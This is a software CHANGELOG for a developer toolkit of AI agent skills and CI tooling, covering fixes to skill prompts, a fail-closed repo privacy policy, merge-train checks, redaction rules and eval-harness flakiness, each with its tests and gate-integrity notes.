**Four skill prompts stop contradicting themselves or their code.** dgrant's issues #3347, #3350, #3351 and #3352 each found a skill telling the model something wrong or ambiguous: /office-hours read a master-based repo as "no changes", /plan-design-review named a vision model the design binary no longer uses, /health gave two different GBrain scores for the same readings, and /ios-qa's demo mode claimed to override every other rule in the skill.

### Fixed
- **`office-hours/SKILL.md.tmpl`** (#3347): Phase 1 runs `git diff origin/HEAD --stat`, the remote's default branch, instead of `git diff origin/main --stat 2>/dev/null`. On a clone whose default branch is `master`, the old command exited 128 with its error hidden, so the model read the empty output as "no changes"; the new one shows the diff, and a repo without `origin/HEAD` now shows its error instead of passing for "no diff". The line is the same length, so office-hours stays at its pinned size on every host (the shared `{{BASE_BRANCH_DETECT}}` block would have added 1,727 chars, past the size-guard pins and the parity skeleton cap).
- **`plan-design-review/SKILL.md.tmpl`** (#3350): the design binary's `check` command is described as "OpenAI vision" instead of "GPT-4o vision", so the prose no longer pins a model. The binary defaults to gpt-5.5 (`design/src/models.ts`), `GSTACK_DESIGN_MODEL` overrides it, and gpt-4o cannot drive gpt-image-2 at all. The swap is the same length, so the pinned host sizes don't move.
- **`health/SKILL.md.tmpl`** (#3351): the GBrain score is computed by a `bun -e` snippet from the doctor component (10 for `ok`, 7 for `warnings`, else 0), the queue length and the hours since the last push, like the composite already was. The snippet takes only numeric `<N|null>` inputs, the placeholder form the generated-bash lint already allows. The rubric row's 10/7/4 bands, which disagreed with the weighted formula (doctor ok, queue 50, pushed 2h: 7 by the rubric, 9.1 by the formula) and overlapped (a queue of 3 matched both 10 and 7), now point at that computation. The bands are half-open (<10, <100 lines; <24, <72 hours), and with sync off the doctor component carries the whole score. History records `gbrain` with one decimal.
- **`ios-qa/SKILL.md.tmpl`** (#3352): "DEMO MODE OVERRIDES ALL OTHER RULES" becomes the narrow rule it meant: in demo mode drive every action through visible UI rather than `POST /state/*` writes, and every other rule in the skill (the device lock, no replay of a lost tap, never hand-editing DebugBridge) still applies.

### Tests
- `test/qa-health-rubric.test.ts` checks that the GBrain rubric row defers to the computation, then runs the template's own snippet: the issue's two inputs score 9.1 and 8.5, the band edges (9/10/99/100 lines, 23.9/24/71.9/72 hours) land on the right side, a missing doctor reading counts as 0, and sync off gives 10, 7 and 0. All four new tests fail on the old template.

- `test/helpers/safety-rules.ts`: the `ios-qa-demo-override` row's anchor moves from `/demo mode overrides/i` to `/drive every action through visible UI/i`, and its hash to the reworded paragraph, in the #3352 commit as the registry requires. `test/safety-rule-registry.test.ts` passes, including its unique-anchor and rule-removed-arm checks.

### Gate integrity
- One gate edit to review: the safety-rule registry row for `safety-ios-demo-ui-only` now anchors on the reworded paragraph. Verdict: not weaker. The paragraph still requires visible UI (`/tap`, `/swipe`, `/type`) over `POST /state/*` writes, and the only text removed is the "overrides all other rules" claim. The case's rule-removed arm deletes the same paragraph as before. No threshold, budget, timeout, trial count or case kind changed.

## [1.91.194.0] - 2026-10-25

**A read-only repo can now opt in to Memorable recall, one remote at a time, and a corrupt policy store no longer turns the recall veto off.** #3359 (exGeni) asked for a way to keep a repo out of the brain while still letting its prompts reach Memorable: today the recall hook skips every `deny` and `read-only` repo, and `read-only` is also the tier people pick just to stop code ingest. Garry approved a per-remote flag on 2026-10-24: off by default, and a `deny` always wins. While building the negative controls we found that the hook's policy lookup went through `get`, which quarantines a corrupt store and answers "unset", so a truncated `gbrain-repo-policy.json` let recall run in every repo, read-only and deny included, and reset the store on the way.

### Added
- **`bin/gstack-gbrain-repo-policy memorable set <remote-url> <allow|off>`** stores the opt-in under a reserved `_memorable_recall` map in the policy store. It is refused unless the remote is read-only (deny vetoes recall; read-write never needed it). `memorable get [<remote-url>]` prints `<tier>\t<allow|off>`, and `list` adds a `memorable=allow` column. Changing a remote's tier clears its opt-in, and the two metadata keys (`_schema_version`, `_memorable_recall`) are refused as remotes.
- **`lib/gbrain-repo-policy-client.ts`**: `memorableRecallPolicy(url)` returns the tier and the opt-in in one spawn. Anything but exactly `<tier>\t<allow|off>` reads as `unreadable`.

### Changed
- **`hosts/claude/hooks/memorable-user-prompt-hook.ts`**: a `read-only` remote is recalled only when it is opted in; `deny` is always skipped. The skip line in `hook-errors.log` names the opt-in command.

### Fixed
- The recall hook's policy lookup is now a pure read that fails closed in either state root: a corrupt, empty or non-object store, a present key with an unknown tier, a path that is not a readable file (a dangling symlink included) and a path whose existence an unsearchable ancestor directory hides are all errors, never "no policy", and nothing is migrated, quarantined or rewritten. The opt-in counts only when it is exactly `"allow"` and every store that makes the remote read-only (including `~/.gstack` under a custom state root) opts it in.
- The hook looks policy up by every configured `remote.origin.url`, as `get` and `/sync-gbrain` read it, instead of the first URL after `url.*.insteadOf` rewriting. A rewrite to another host, or a second origin URL, no longer dodges a deny: any denied or not-opted-in read-only URL skips recall. `hasRepoPolicyStore()` treats only confirmed absence as "no store", so a dangling symlink at or above the store, a file in its path, or an unreadable directory reaches the script's fail-closed checks instead of the no-policy fast path. Origin URLs are read NUL-delimited and used verbatim, so a valid local path containing a newline or edge whitespace is looked up whole.

### Docs
- `docs/memorable-workflow-memory.md` has a short "Recall in a read-only repo" section and updated refusal and troubleshooting lines.

### Tests
- `test/memorable-user-prompt-hook.test.ts` drives the real hook: read-only stays blocked by default, the opt-in recalls on that remote and not on a second read-only remote, `deny` with a hand-written opt-in is skipped, and a corrupt store skips recall and is left in place.
- `test/gbrain-repo-policy.test.ts` covers the CLI: per-remote keying (a different remote, a prefix-sharing remote and an unset remote stay off; the SSH spelling of the same remote matches), refusal on deny, read-write and unset, clearing on a tier change, malformed opt-ins reading off, corrupt and non-file stores in both roots failing with exit 2, and the second-store rule.
- `test/gbrain-repo-policy-client.test.ts` covers `memorableRecallPolicy`: fast path, per-remote opt-in, deny, corrupt store, an unknown tier, a dangling-symlink store and a timeout.
- Review hardening, each test red at the pre-review head: empty, whitespace, `null`, array, number and two-document stores and `false`/`null`/unknown tier values fail with exit 2 in either root; dangling symlinks and an unsearchable directory or ancestor fail closed; the lookup leaves a schema-less store byte-for-byte unchanged; and the hook refuses a deny remote whose origin is rewritten to another host or carries a second, unlisted URL in either order, or whose local-path URL contains a newline or edge whitespace; and a dangling symlink above the store or a file in its path skips the no-store fast path.

### Gate integrity
- One deliberate widening of a privacy veto, approved by Garry: a read-only remote with an explicit opt-in is recalled. Nothing else is loosened, and the corrupt-store path is tightened. Seventeen mutations of the new gate were run against the focused tests. Sixteen turn at least one test red: the hook ignoring the opt-in, the hook dropping deny, the CLI reporting the opt-in on any tier, an unkeyed opt-in, a corrupt store read as no policy, the second store ignored, an opt-in accepted on deny, the hook using the rewritten URL, an existsSync fast path, any JSON document accepted, a non-file path read as absent, the hook checking only the last origin URL, a missing path trusted without checking its ancestors, origin URLs split on newlines or trimmed, and the client fast path ignoring a dangling ancestor symlink. The seventeenth, the client reading unknown script output as no policy, stays green because the script can no longer produce such output. That check is a second layer and is left in place. No threshold, budget, timeout, trial count or case kind changed.
- Known limit, unchanged by this PR: remotes that the store already treats as one key (`host:8443/x` and `host/8443/x`, or paths that differ only in case) share the opt-in exactly as they already share a tier.

## [1.91.193.0] - 2026-10-25

**Windows: the browse terminal agent stops respawning every 60 seconds and stops flashing a console when Bun came from npm (#2295; ported from #3357 by @adammartin0087).** The agent was spawned as a bare `bun`. With Bun installed through `npm install -g bun`, that name resolves to npm's `bun.cmd` shim and runs as `cmd.exe /c bun …`, so `windowsHide` hid only `cmd.exe` while `bun.exe` opened its own visible console, and the recorded pid was `cmd.exe`'s. The agent's startup check never matched its record, it exited after 2 seconds, and the watchdog respawned it.

### Fixed
- **`browse/src/terminal-agent-control.ts`**: `spawnTerminalAgent` spawns `resolveBunExecutable()`, which on Windows is the real `bun.exe`: the running `bun.exe` itself, then `BUN_INSTALL\bin`, each absolute `PATH` entry (and, next to an npm `bun.cmd` shim, the `node_modules\bun\bin\bun.exe` it forwards to), then `USERPROFILE\.bun\bin`. With none found it falls back to `bun`, as before. macOS and Linux are unchanged.
- **`browse/src/bun-child-config.ts`**, **`browse/src/cookie-import-native.ts`**: that lookup is `findWindowsBunExe()`, and the Windows native cookie-import worker now uses it instead of its own copy, so it also finds an npm-global Bun. It lives in `bun-child-config.ts` because that file is already in the native import's source-bound qualification set (`NATIVE_CODE_INPUTS`). The edit changes the hash of `cookie-import-native.ts` and `bun-child-config.ts`; the qualification list is empty today, so no receipt is invalidated.

### Tests
- `browse/test/terminal-agent-bun-exe.test.ts` (from the PR) covers POSIX, the running `bun.exe`, a compiled `browse.exe`, the npm shim, lookup order and the fallback, plus a source check that the spawn site never passes a bare `'bun'`. New: the shared lookup returns null when nothing is installed, finds the npm-global `bun.exe` for the cookie worker, and `cookie-import-native.ts` has no candidate list of its own.
- Not verified here: real Windows behaviour. The PR author tested on Windows 11; the `windows-free-tests` lane runs the new unit tests.

## [1.91.192.0] - 2026-10-25

**Merge trains stop refusing correct heads and stop passing damaged CHANGELOGs.** This week's trains hit five defects in the ship-queue tooling. #3331's READY was invisible to the coordinator because its lane's origin was `https://git.capy.ai/...`. #3345's pin replaced the released `## [1.91.179.0]` heading, and three things then failed. The Version Gate passed the pin. `mergeChangelogs` copied 179's body into `[Unreleased]`. `verify --train` refused the correct hand-resolved head at 593e61c. Separately, the train slotted the /cso docs PR (#3337) ahead of the catalog PR it describes (#3343). Each defect now has a regression test built from the real case.

### Fixed
- **`lib/version-gate-train.ts`**: the unstamped-head check read CHANGELOG.md through `spawnSync`'s default 1 MiB buffer. gstack's CHANGELOG is 1.67 MB, so both reads failed and the check compared two empty strings and passed. That is how #3345's 1eb7092 got through: `classifyTrainHead(base a59b5e4, head 1eb7092)` returned `unstamped`. The buffer is now 64 MiB, a CHANGELOG that can't be read is refused, and a dropped released heading is named in the error ("CHANGELOG.md drops released heading 1.91.179.0"). `gstack-ship-queue ready` runs the same check and refuses with `QUEUE_NOT_READY`.
- **`lib/changelog-check.ts`**: `mergeChangelogs(ours, theirs, base?)` returns null, meaning resolve by hand, when either side damaged released history. Damage means one of two things: a released heading the merge base carries is missing from that side (dropped or renamed), or a section only that side carries holds a paragraph of a released entry the other side has. The train merge, the gate-ahead recompute and `gstack-restamp --after` all pass the merge base. A damaged PR is now `QUEUE_TRAIN_CONFLICT` on CHANGELOG.md with the reason. Before, the damage went into T<i>.
- **`lib/ship-queue-train-verify.ts`**: `verify --train` refused #3345's correct stamped head because T1's CHANGELOG was the damaged mechanical merge. The refusal printed the diff against the pin (main's files), not the diff against T1. A merged-in head is now accepted when it contains main and equals T<i> modulo stamps, with its CHANGELOG judged against main: main's header and sections must be unchanged, with only lines from the pin's own CHANGELOG diff above them. The refusal now names the real difference.
- **`lib/ship-queue-train-record.ts`**: READY receipts, train records and freezes are keyed on origin normalized to `https://github.com/<owner>/<repo>`, whatever URL form the lane uses (github.com, git.capy.ai, scp, ssh, a token URL, with or without `.git`). The canonical key equals the github.com key existing records already use. Readers also accept the keys older versions wrote for the common URL forms, so #3331's `1fb5dd69740a8cf8` receipt is found. The stored `repo` URL never carries credentials.
- **`lib/restamp.ts`**: its git reads use a 64 MiB buffer too. Before, `gstack-restamp --after` read each CHANGELOG conflict stage through the 1 MiB default.

### Added
- **`gstack-ship-queue train build --order <pr>,...`**: an explicit slot order naming every pinned PR once. The default order (screened first, then READY order) is unchanged, and the train's later `NEXT:` rebuild lines keep the explicit order.

### Tests
- `test/changelog-merge-damage.test.ts`: the GSTA-64 repro, plus #3345's real CHANGELOGs (pin 1eb7092, base a59b5e4, main 4a98e40, train T1 6755ab8, stamped de23f5d, under `test/fixtures/merge-train-3345/`). Negative controls: a correct hand resolve, a shared tentative stamp, and two `[Unreleased]` blocks are not damage. An invented line, an edited main section, a changed header and a duplicate heading are still refused.
- `test/compare-pr-version.test.ts`: on a CHANGELOG over 1 MiB, #3345's edit is refused naming 1.91.179.0, an additive entry passes, and a corrupt CHANGELOG object is refused. All three failed before the fix.
- `test/ship-queue-train.test.ts`: a git.capy.ai lane writes the owner/repo key, and a legacy-key receipt is admitted. A damaged PR is a CHANGELOG conflict, and ready refuses it. `--order` sets and records the order. A hand-resolved merged-in head verifies, while an invented CHANGELOG line, a head without main and a stray file are refused. `test/ship-queue-train-logic.test.ts`: URL normalization, #3331's real keys, `orderSlots` and `parseOrder`.

### Gate integrity
- Version Gate unstamped check: **stronger**. It refuses a head it can't read and names dropped headings. Additive heads still pass at full size.
- `mergeChangelogs` and the train CHANGELOG merge: **stronger**. Damage is now a conflict.
- `verify --train` merged-in path: **narrower in one place, stronger elsewhere**. The head must now contain main. A CHANGELOG that differs from T<i> is accepted only as main's CHANGELOG plus lines the pin itself added. Every other file must still equal T<i> modulo stamps, and the paid gate never reads CHANGELOG text.
- READY receipt lookup: **unchanged strength**. The head and CI binding are the same; only the repository key is normalized.

## [1.91.191.0] - 2026-10-25

**`gstack-version-bump write --changelog` moves the branch's `[Unreleased]` entry under the new version, and /ship Step 12 stops treating a provisional queue pick as a verified slot.** Stamping by hand meant writing VERSION with `gstack-version-bump write` and then renaming the `## [Unreleased]` heading yourself, because only `gstack-restamp` re-headed the CHANGELOG. Separately, when `gstack-next-version` could not read some open PRs' VERSION it returned `complete:false` and a provisional pick, and Step 12 printed the warning and then wrote that version as if the queue had been checked (left over from #3258, noted in GSTA-45).

### Fixed
- **`bin/gstack-version-bump`**: `write` takes an opt-in `--changelog <path>`. It re-heads an existing `## [Unreleased]` section as `## [<version>] - <UTC date>` at the top, using the same `reheadChangelog` that `gstack-restamp` uses, so the result is byte-for-byte what a restamp produces. Only the heading changes; every entry is kept. A file with no `[Unreleased]` section, or no file, is left alone, so a released heading is never renamed. A move that would duplicate a version heading exits 2 before anything is written. The output gains a `changelog` field only when the flag is passed. `gstack-restamp` doesn't pass the flag, so under stamp-at-merge it still owns the re-heading, and a later restamp moves an entry this command headed as the branch's own stamp.
- **`ship/SKILL.md.tmpl` Step 12**: an incomplete queue (`complete:false`) reruns the queue check once, then asks whether to use the provisional candidate (recommended, because Version Gate CI rereads the queue on every push) or stop, naming the PRs in `unknown_claims`. The write in item 4 passes `--changelog CHANGELOG.md`, so an `[Unreleased]` entry written early sits under the new version before Step 13 extends it.

### Tests
- `test/gstack-version-bump.test.ts`: eight cases for `--changelog`. They cover the re-heading (checked with `normalizeChangelog` and `checkChangelog`), an entry below the predecessor after a main merge, reruns, a file with no `[Unreleased]`, a missing file, the duplicate-heading refusal, bad paths, and a real `gstack-restamp` run after the write (`already headed`, then `1.2.4.0 -> 1.2.5.0`). Seven of them failed before the fix.
- `test/ship-version-sync.test.ts`: the rendered Step 12 has to handle `complete:false`, using the field names `gstack-next-version` emits. Its write command, run verbatim, has to re-head `[Unreleased]` and leave a released heading alone. Both tests failed before the fix.

## [1.91.190.0] - 2026-10-25

**The weekly model-policy freshness check reads OpenAI's deprecations page again (#3155).** It has been red since the 2026-10-19 run: OpenAI's page now writes some deprecated models as a display name followed by the backticked ids, for example ``GPT-4o (`gpt-4o-2024-08-06`, `gpt-4o-2024-11-20`)``, and the parser refused any model cell that did not start with a backtick, so every run stopped with `openai-lifecycle:unrecognized-deprecated-model-cell`. Left alone, the stored pinned-model evidence would have gone stale around 2026-11-11.

### Fixed
- **`lib/model-policy-freshness-sources.ts`**: an OpenAI deprecated-model cell is accepted when it contains backticked model ids, wherever they sit in the cell, and each id becomes its own lifecycle row. A cell with no backticked id still fails with `unrecognized-deprecated-model-cell`. The live page (42,211 bytes, fetched 2026-10-24) now parses to 177 rows, including the five ids from its four display-name rows.

### Tests
- `test/fixtures/model-policy-freshness/openai-lifecycle.md` gains a display-name row, and `test/model-policy-freshness.test.ts` checks that both of its ids come out with the row's shutdown date. With the old parser, 16 of the file's 21 tests fail on the new fixture.
- Negative controls: the existing cell with its backticks removed, and the new display-name row with unticked ids, both still fail with `unrecognized-deprecated-model-cell`.

### Gate integrity
- One accepted-input change to review: the OpenAI lifecycle parser accepts a model cell with text before its backticked ids. It is a weekly advisory check, not a required check. The negative controls above still fail closed, and no threshold, budget, timeout, trial count or case kind changed.

## [1.91.189.0] - 2026-10-25

**A stalled apt mirror can no longer hold a Free Tests shard for 20 minutes, PR runs now see main's branch layout, and gstack's install default moves to Bun 1.4.4.** On 2026-10-21, free-suite (12) in run 39641712129 sat in "Install Playwright Chromium" until the job timeout cancelled it. The browser had already come from cache: `--with-deps` was waiting on apt's fetch of noble-security from archive.ubuntu.com. No tests ran, and a whole merge train had to be rebuilt. Separately, a push to main checks out a local `main` while PR runs check out a detached merge ref, so a fixture that created its own `main` passed its PR and then failed every main push until #3237 (run 38999168852). And Capy images and gbrain now run Bun 1.4.4, which no CI lane tested, while the installer still downloaded 1.4.3.

### Fixed
- **`.github/workflows/free-tests.yml`**: in free-suite and quick-bun-default, the Playwright install gets its own 5-minute timeout (a warm install takes about 15 s), and that install step alone gets one bounded retry, also 5 minutes. This retries infrastructure, never a test: a second failure fails the job. The browser cache is keyed on the Playwright version instead of `bun.lock`, with no prefix fallback, so a lockfile bump keeps the browser and a Playwright bump never restores a stale revision. quick-bun-default, which had no browser cache, now has one.
- **`.github/workflows/free-tests.yml`**: free-suite and quick-bun-default run `git checkout -q -B main` right after checkout on every run whose ref is not main (PRs and train dispatches). Their clone then has the same local `main` a push run gets, so a PR run catches what the main push would.
- **`bin/gstack-bun-version.sh`**: `GSTACK_BUN_DEFAULT` is 1.4.4, the Bun that Capy images ship, that gbrain pins, and that carries the CVE-2026-111497 fix. quick-bun-default runs the quick tier on it. The 1.4.2 minimum, engines.bun, Dockerfile.ci, every other CI lane and the verified archives (1.4.2, 1.4.3, 1.4.4) are unchanged. `docs/capy-install.md` and `docs/troubleshooting.md` name the new default.

### Tests
- `test/free-tests-workflow-wiring.test.ts` requires the version-keyed cache, the 5-minute install, its single retry as the only `continue-on-error` step in each job, and the local-main step. Both new cases fail against the previous workflow.
- `test/gstack-capy-install.test.ts` reads the install default from `GSTACK_BUN_DEFAULT` wherever it meant "the install default", so the next bump doesn't need a literal sweep, and so does the `test/runtime-pins.test.ts` case that reads gstack's own CI pins. `test/bun-resolve.test.ts` moves its gbrain-like project pin from 1.4.3 to 1.4.4, gbrain's real pin.

### Gate integrity
- One gate edit to review: the Playwright install step in the required Free Tests lane is `continue-on-error`, and a retry step that is not marked that way repeats it. Verdict: not weakening. A shard still fails unless one of the two installs succeeds, and every test, threshold, timeout and trial count stays the same. The local-main step strengthens PR runs. No test assertion was removed.

## [1.91.188.0] - 2026-10-24

**Pregate maps extensionless .jsx imports to their tests (#3340).** On a Next.js or webpack JSX repo, `gstack-pregate` failed `lanes` with "has no test lane" for every component imported without an extension, so /ship's receipt refused and the only way out was shipping without one. The import resolver tried `.ts`, `.tsx`, `.js`, `.mjs` and `.cjs` but never `.jsx`, and a directory import found `index.ts` or `index.js` but not `index.jsx`, `index.tsx` or `index.mjs` (it fell back to selecting on the whole directory). Reported by adam-balazs.

### Fixed
- **`lib/pregate/import-graph.ts`**: `RESOLVE_EXT` adds `.jsx`, `.mts`, `.cts`, `/index.tsx`, `/index.jsx` and `/index.mjs`. The existing entries keep their order, so a `.js` file still wins over a `.jsx` sibling. Relative, `paths` alias and `baseUrl` imports share the list, so all three resolve the new forms.

### Tests
- `test/pregate-selection.test.ts` has three new cases: an extensionless import of a `.jsx`, `.mts` and `.cts` file; a directory import that reaches `index.jsx`, `index.tsx` and `index.mjs` and leaves the directory's other files unselected; and a jsconfig `paths` alias to a `.jsx` file, with a `.js` sibling that still wins. All three failed before the change.

### Docs
- `docs/pregate.md` lists the extensions and index forms an extensionless import tries, in order.

## [1.91.187.0] - 2026-10-24

**Four docs now say what the code does: the unattended run contract, the gate reply grammar, the session-kind override and voice triggers.** All four were reported by readers who checked the docs against the code. `docs/unattended.md` promised that every workflow skill ends an unattended run with a run directory and a `GSTACK_RESULT` line, but only `/autoplan` has the steps and helpers that write one (#3281, thanks @exGeni). `gstack-gate --help` still taught the reply grammar from before 1.91.107.0, without `rec` or `as-is`, while the render it relays leads with `rec` (#3282, thanks @exGeni). `docs/OPENCLAW.md` said only `spawned` is honored as a `GSTACK_SESSION_KIND` override, but `unattended` is honored too (#3287, thanks @exGeni). The README said natural phrases activate the right skill, without saying that only `voice-triggers:` aliases reach a host and that the plain `triggers:` list does not (#2118, thanks @jinzheio).

### Fixed
- **`docs/unattended.md`**: the terminal-line section lists who writes the line today: `/autoplan` (the only skill that writes a run directory), the workflow commands `gstack-pregate`, `gstack-regen`, `gstack-restamp` and `gstack-ship-queue` (each naming its own record), and a refused launch (`status=refused run=-`). For `/ship`, `/review`, `/qa` and the other workflow skills it says not to wait for a run directory and names each skill's own record to read instead. It also says `/eval-plan` has no `gate.json` writer yet and that `/cso` skips the shared unattended rules.
- **`bin/gstack-gate --help`** and the `/autoplan` owner brief's answer hint (`lib/owner-brief.ts`) show the current grammar: `rec` (alias `all`), `rec except <tokens>`, `<id><option>` tokens and `as-is`. Display text only; the parser is unchanged and `all` still parses the same as `rec`.
- **`docs/troubleshooting.md#gate-reply-unparsed`** gives the same grammar in its fix line.
- **`docs/OPENCLAW.md`**: the `GSTACK_SESSION_KIND` section says `spawned` and `unattended` are honored, and links to `unattended.md`.
- **`README.md`**: the voice input section says which phrases a host sees (`voice-triggers:` aliases, as router lines on Claude Code and in each description elsewhere) and that `triggers:` is metadata that does not make a skill activate.

## [1.91.186.0] - 2026-10-24

**Approving an autoplan run no longer fails one time in ten because its run id looks like a card number.** Today's daily flaky-fix pass found `test/capy-captain-flow.test.ts` failing once and passing on the serial retry in 7 of the 57 Free Tests runs from 2026-10-21 to 2026-10-23, one of them a push to main (39878113535). Every failure had the same assertion: `gstack-approvals import` refused the approval row with "field ask: pii.cc". The default autoplan run id is `run-YYYYMMDDHHMMSS`, the import writes it into the row's ask and source, and the credit-card rule saw those 14 digits as a card number whenever they passed the Luhn check, which a timestamp does about one time in ten. A real user's approval import failed the same way.

### Fixed
- **`lib/redact-patterns.ts`**: `pii.cc` skips a separator-free 14-digit span that reads as a valid YYYYMMDDHHMMSS stamp, using the `looksLikeCompactTimestamp` check that `pii.phone.e164` already uses. The only card numbers 14 digits long (Diners Club) start with 3, and an accepted stamp starts with 1 or 2 (years 1900–2999), so no real card loses coverage.

### Tests
- `test/approval-record.test.ts` imports an autoplan run whose run id `run-20261024131504` passes Luhn. It failed before the fix with the captain-flow error, and passes now.
- `test/redact-context-exemptions.test.ts` has a new `pii.cc` table. The ask, the source and a log line carrying a Luhn-valid stamp come back clean. These still report MEDIUM: a 14-digit Diners test number, a Luhn-valid 14-digit run that is not a date (month 13), a 15-digit stamp-prefixed run, the same stamp with spaces, and a 16-digit Visa test number.

### Gate integrity
- One accepted-input change to review: `pii.cc` no longer reports a separator-free 14-digit date-time stamp. The negative controls above are unchanged findings. No threshold, budget, timeout, trial count or case kind changed.

## [1.91.185.0] - 2026-10-23

**Three flaky paid eval cases get repairs: three harness gaps closed and one fixture rule moved to where the agent reads it.** Today's daily flaky-fix pass took the two repeat flakes and one periodic timeout from the flaky ledger. plan-design-with-ui-scope failed its first attempt in train gate 39852003387 (its fourth flake) because the Opus 5.5 agent rated the plan "4/10 on design" in plain words and the focus check wanted the words "design completeness". ship-docsync-completion failed in train gate 39904966815 and in GSTA-63's focused run with the same slip both times: the agent added `gstack-docs-candidate --help` to the end of its first line of reads, which the fixture interface forbids. plan-design-finding-floor timed out at 610 s in periodic run 39209106033 because nothing answered the owned plan-file Create menu after its title scrolled off screen; two focused trials then showed a second stall, at the Step 0D focus menu the floor actor answers only when it matches one captured wording.

### Fixed
- **`test/skill-e2e-plan-design-with-ui.test.ts`**: the Step 0A rating the focus check looks for is now any sentence that scores the plan's design out of 10, so "I rated this plan 4/10 on design." counts like "4/10 on design completeness". The check still needs a question that names the focus and an option that leads with all seven areas, and a rating split from the word "design" across sentences, an unscored design sentence, and a non-design score are still refused.
- **`test/helpers/docsync-interface.ts`**: the declared observation interface now states the own-call rule in the sentence that introduces the Preamble block, lifecycle helpers and `gstack-docs-candidate` commands ("each as its own Bash call, with nothing joined before or after it ... a --help is no exception"), instead of in a later sentence after the read grammar. The grammar is unchanged and the captured joined line is still refused.
- **`test/helpers/plan-count-file-permission.ts`**: a cropped owned Create menu whose preview starts on the native rule (the "Create file" title and file row scrolled away) now binds to its pending Write, as a cropped Edit menu already did. Every preview row must still match the owned Write's content, and the prompt must still name the owned file.
- **`test/fixtures/design-floor-focus-picker.ts`**: the floor actor's Step 0D answer moves out of the shared PTY harness into the case's own fixture, and `runPlanSkillFloorCheck` takes it through a new optional `pickSetupChoice` hook that only plan-design-finding-floor passes. The answer (`pickDesignFocusAll`, the seed's declared "review all seven dimensions") identifies the focus menu by its structure: a title or question about the focus, exactly one option that is all seven dimensions, passes or areas, every other option narrowing ("Only …", "Focus …" or "… only"), and a Project/branch/task line naming PLAN.md or the seeded plan. It used to need the exact title "Review all 7 design dimensions, or focus?", a source line reading "plan-design-review of PLAN.md" and an ELI10 that began with the rating, so the template's own 0D sentence ("I've rated this plan 2/10 on design completeness. … Want me to focus on specific areas instead?") and a menu titled "Review focus for the landing page plan" both sat unanswered until the 610 s timeout. A second question, a quoted or foreign plan, a non-narrowing alternative, two all-seven options and a bundled approval still get no answer.

### Tests
- `test/plan-design-with-ui-fixture.test.ts` replays gate 39852003387's four native questions (`test/fixtures/design-ui-focus-capture-39852003387.json`) as a pass, and the same capture without its focus question as a failure. New controls: a rating and the word "design" in different sentences, and an unscored design sentence.
- `test/docsync-command-grammar.test.ts` checks that the captured joined line stays refused, that the candidate's `--help` alone is accepted, and that the sentence naming the candidate commands carries the own-call rule.
- `test/plan-create-prepublication.test.ts` replays the periodic run's final viewport (`test/fixtures/plan-design-floor-create-rule-crop.json`): it is granted once and fails without the fix. Controls: two rules, text above the rule, a quoted row, a changed row and a foreign file name are refused.
- `test/plan-design-floor-fixture.test.ts` (the case's owner test; the rows moved with the picker from the boundaries unit test) replays both pending focus menus from the focused trials (`test/fixtures/design-floor-focus-template-0d.json`, `test/fixtures/design-floor-focus-review-focus.json`); each selects the all-seven option, and the template-worded one failed before the change. New controls: a question not about focus, a foreign or quoted plan, an alternative that does not narrow, and a second question.

### Gate integrity
- No threshold, budget, timeout, trial count or case kind changed. Two accepted-input changes to review: the plan-design focus rating accepts "design" without "completeness", and the floor actor answers the 0D focus menu without requiring a rating sentence or one exact title (it answers only with the seed's declared all-seven option).
- HARNESS_VERSION stays 6. `boundaries.ts`, `claude-pty-runner.ts` and `runners/floor.ts` are recorded non-behavioral: the picker left the shared harness and the new hook has one caller, so no other case's input or verdict can change, while plan-design-finding-floor's owned bytes (its test file and the new fixture) start that case's own pass-rate series.

## [1.91.184.0] - 2026-10-23

**The office-hours attempt lifecycle test no longer races the wall clock.** Today's daily flaky-fix pass: in #3341's remote pregate, "recommendation near-success stays inside the shared work deadline" failed once with two judge starts where it expects one, then passed on the serial retry. Its fake runner and judge used real sleeps (220 ms plus 10 ms) against a mocked 300 ms deadline, so a loaded machine could push the first attempt past it. The sibling late-judge case had the same exposure from the other side.

### Tests
- **`test/office-hours-attempt.test.ts`**: the plan-format lifecycle subprocess now runs on Bun's fake timers, and the fake runner and judge advance them by their scenario durations instead of sleeping. The helper's own deadline (`Date.now()` and its `setTimeout`) moves only when the fixture says so, so near-success always finishes at 230 ms of 300 and late-judge always crosses the deadline, whatever the machine's load. With a 400 ms real stall injected into the fake runner, near-success and late-judge failed before the change and pass after it. The whole file passed 20/20 runs unloaded and 20/20 under 8 busy loops on 4 cores.

### Gate integrity
- No product code, budget, timeout, threshold or assertion changed: the mocked 300 ms capture budget, the 50 ms drain grace and the scenario durations are the same.

## [1.91.183.0] - 2026-10-23

**A rejected API key no longer turns a gate into 131 assertion reds and 131 reruns.** Train gate run 39696775546 ran with a rejected `ANTHROPIC_API_KEY`. Every case failed on a 401 before the model ran, and the report counted them as assertion failures. Rule 16 then reran all 131 cases with the same key. A trial whose provider rejected the run's credentials is now INFRA: the gate never reruns it, the verdict counts it under INFRA, and its failure line reads `credentials rejected: Invalid API key · …`. A real assertion failure that only mentions a key keeps its class and is still rerun.

### Fixed
- **`test/helpers/eval-store.ts`**: `credentialRejection()` finds the evidence in a trial's API-error sessions or its failure text: Anthropic's 401 `authentication_error` body, the CLI's `authentication_failed` code or `Invalid API key ·` message, or OpenAI's `invalid_api_key` code. Both record builders use it. The JUnit census (`scripts/lib/paid-report.ts`, which feeds the rerun plan) and `classifyTrialShard` (trial panels) mark such a trial `infra`. Contract evidence still wins.
- **Session ledger**: the claude -p and Agent SDK observer (`SessionObserver`) ends a session as `api_error` on the CLI's synthetic `Invalid API key` message, not just on `API Error:` lines. Both PTY ledger writers (`screenPanelEnd` in `test/helpers/pty/screen.ts`) record the rejection line wherever it is on screen, because after one the CLI sits at a plan-mode or manual-mode footer that the idle check doesn't recognize. Before this, `autoplan-guard-pty` recorded `completed` with no evidence.
- **Report headline**: the INFRA count includes rule cases with an INFRA-class failure, not only trial panels.
- **Gate integrity (a gate edit):** a credential rejection was already a red, and it is still a red. Only its class changes, from assertion to INFRA, so rule 16 no longer reruns it. No case's pass or fail changes. No threshold, trial count, case kind, judge model, `EVAL_POLICY` constant or `HARNESS_VERSION` changed; the edit is recorded as non-behavioral in `scripts/harness-version.json`. Known gap: local `--case` diagnosis and the train bisect's file-mode trials still classify by shard status.

### For contributors
- **`test/credential-rejection.test.ts`** replays trimmed captures from run 39696775546 (`test/fixtures/credential-rejection-39696775546.json`) through each runner's evidence path and the real `--report` and `--rerun-plan` CLI paths. Negative controls cover assertion failures that mention a key, an API key or an auth word, and a non-credential API error.

## [1.91.182.0] - 2026-10-23

